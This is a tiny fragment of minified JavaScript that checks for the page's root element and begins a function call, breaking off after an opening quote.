document.documentElement&&e('